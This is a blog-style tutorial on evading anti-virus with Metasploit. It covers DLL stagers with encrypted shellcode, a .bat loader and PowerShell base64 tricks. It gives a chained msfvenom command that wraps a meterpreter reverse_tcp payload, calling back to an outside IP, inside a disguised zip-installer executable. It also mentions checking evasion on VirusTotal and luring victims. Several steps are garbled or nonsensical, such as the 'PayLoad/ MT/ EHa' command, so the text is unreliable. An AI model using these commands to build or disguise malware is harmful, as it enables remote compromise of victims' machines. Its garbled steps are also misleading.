How hackers defeat anti-virus software using Metasploit

Metasploit is the most popular penetration testing framework. Alongside vulnerability testing, we can use Metasploit to improve our security awareness, manage assets and stay ahead of cyber threats. Learning how hackers defeat anti-virus software using Metasploit opens many doors. But offensive security tester's need to learn evasion module type. It gives a better experience against targets that are running anti-virus software.

Metasploit framework is vast and has plenty of tools. The standalone application from Rapid7 can easily be used in a Kali Linux environment. As it lets Metasploit run in a plug-and-play manner, in the sandbox environment of Kali Linux.

Setting up environment

Hackers test their terminal commands in VMware or Virtual machines because it lets them use multiple operating systems with the same units of software. Also, it makes the testing process easier. In a general OS like windows, a Kali Linux system and Metasploit is required to defeat anti-virus software. Because before deploying in the real world, the program needs to pass antivirus processes. Otherwise, the files and procedure will be of no use.

Running Metasploit in Kali Linux

Assuming Kali Linux is already set up inside VirtualBox or VMWare Workstation. On the terminal type in the "msfconsole" metsaploit command and hit enter. For a full list of metasploit commands check the list here at HackingLoops. It will start the inbuilt Metasploit framework without extra hassle. If not sure and an update check is required, simply type in, "sudo apt update/ sudo apt install metasploit-

framework.”

Once updated, we need to compile a DLL for execution. The DLL includes encrypted shellcode and a custom .bat file. Of course, we need to manually create one as per our requirements. The final step is to execute it.

Even if windows defender is turned on in the windows setting, the vulnerability can still be tempered. Inside terminal, we can create our payload as, “PayLoad/ MT/ EHa stager.cpp aes.cpp.” And next, “loader_bat_creator.rb.”

It will now create the .bat file according to Metasploit 5 default value to defeat windows defender. Scanning the stager.dll & loader.bat with an antivirus program (3rd party) will not give us any errors. Upon testing in their virtual machine, it can be deployed in the real world as sessions. We can use PowerShell, JavaScript, or C# to create the modules.

What hackers do is, they attach executable (.exe) file with a pdf or other downloadable from malicious sources. Once the executable runs with help of the parent program, it sends out a shell to the attacker. Microsoft windows have Antimalware Scan Interface (AMSI). It helps windows defender’s engine to scan for malicious inputs. They make it hard to defeat anti-virus software, but it is still a program that can be exploited via backdoors.

Another thing to take note of is, the Client ML. Client ML is something users interact with. They are operating systems own machine learning modules, helping local defenders or anti-virus software. Traditional signatures, malware, and generic behaviors are picked up regularly and data is sent for further inspection.

Attackers tweak with Powershell all the time to defat anti-virus software. As we are not touching the disk directly, a few commands on the Powershell can bypass a malicious

executable from an attacker.

```
powershell.exe -command “Write-Output [Convert]::FromBase64String(‘SGVsbG8gV29ybGQh’)”
```

Powershell is abused heavily by an attacker. Underneath the hood, if the user permits the application, it will bypass further corrections. If “Base64” or similar domains are passed by attackers, they should be terminated immediately even if Powershell permitted it to run.

MSF Encoder

There is always a default function for encoders. Which is default and universal for a reason. Attackers modify it in their own will and deploy in whichever way they seem fit. So, the default msfvenom payload template becomes absolute. In this case, Shikata_ga_nai, an updated version of msf is used within the encoder. It is a polymorphic encoding technique according to specialists in the field. A practice input can be

```
msfvenom -a x64 –platform windows -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 20 LHOST=101.208.1.8 LPORT=8080 -f raw | msfvenom -a x64 –platform windows -e x64/alpha_upper -i 10 -f raw | msfvenom -a x64 –platform windows -e x64/countdown -i 10 -x (antivirus program name”X”)zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe
```

Attackers try multiple times in various ways with adequate encoders to lure in victims. And a small percentage fall victim. A great platform is VirusTotal, where attackers upload the files with anti-virus variants. It gives a rough estimate wheatear to deploy with the current encode or requires more updates to pass. Many attackers use Python automated scripting to spam through filters trying to push files to the victim machine. The practice is quite complex and constant updates keep hackers away most of the time.